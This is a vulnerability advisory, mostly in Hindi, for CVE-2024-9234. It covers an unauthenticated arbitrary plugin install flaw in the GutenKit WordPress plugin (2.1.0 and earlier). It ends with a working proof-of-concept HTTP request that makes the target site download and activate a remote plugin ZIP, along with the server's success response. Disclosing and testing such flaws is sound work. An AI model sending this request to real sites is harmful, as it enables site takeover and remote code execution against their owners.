CVE-2024-9234

GutenKit <= 2.1.0 - अप्रमाणित मनमाना फ़ाइल अपलोड

विवरण

GutenKit – पेज बिल्डर ब्लॉक्स, पैटर्न और गुटेनबर्ग ब्लॉक एडिटर के लिए टेम्पलेट्स वर्डप्रेस प्लगइन, अपनी install_and_activate_plugin_from_external() फ़ंक्शन (install-active-plugin REST API एंडपॉइंट) में क्षमता जांच की कमी के कारण, सभी संस्करणों (2.1.0 तक और सहित) में मनमाना फ़ाइल अपलोड करने की अनुमति देता है। इससे अप्रमाणित हमलावरों के लिए मनमाना प्लगइन स्थापित और सक्रिय करना, या प्लगइन के रूप में प्रस्तुत मनमानी फ़ाइलें अपलोड करने की कार्यक्षमता का उपयोग करना संभव हो जाता है।

Type: plugin
CVSS Score: 9.8
CVE: CVE-2024-9234
Slug: gutenkit-blocks-addon

डाउनलोड लिंक: gutenkit-blocks-addon संस्करण 2.1.0 डाउनलोड करें

POC

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114

{
  "plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
  "slug": "popularis-extra"
}

{"success":true,"data":"Plugin installed successfully!"}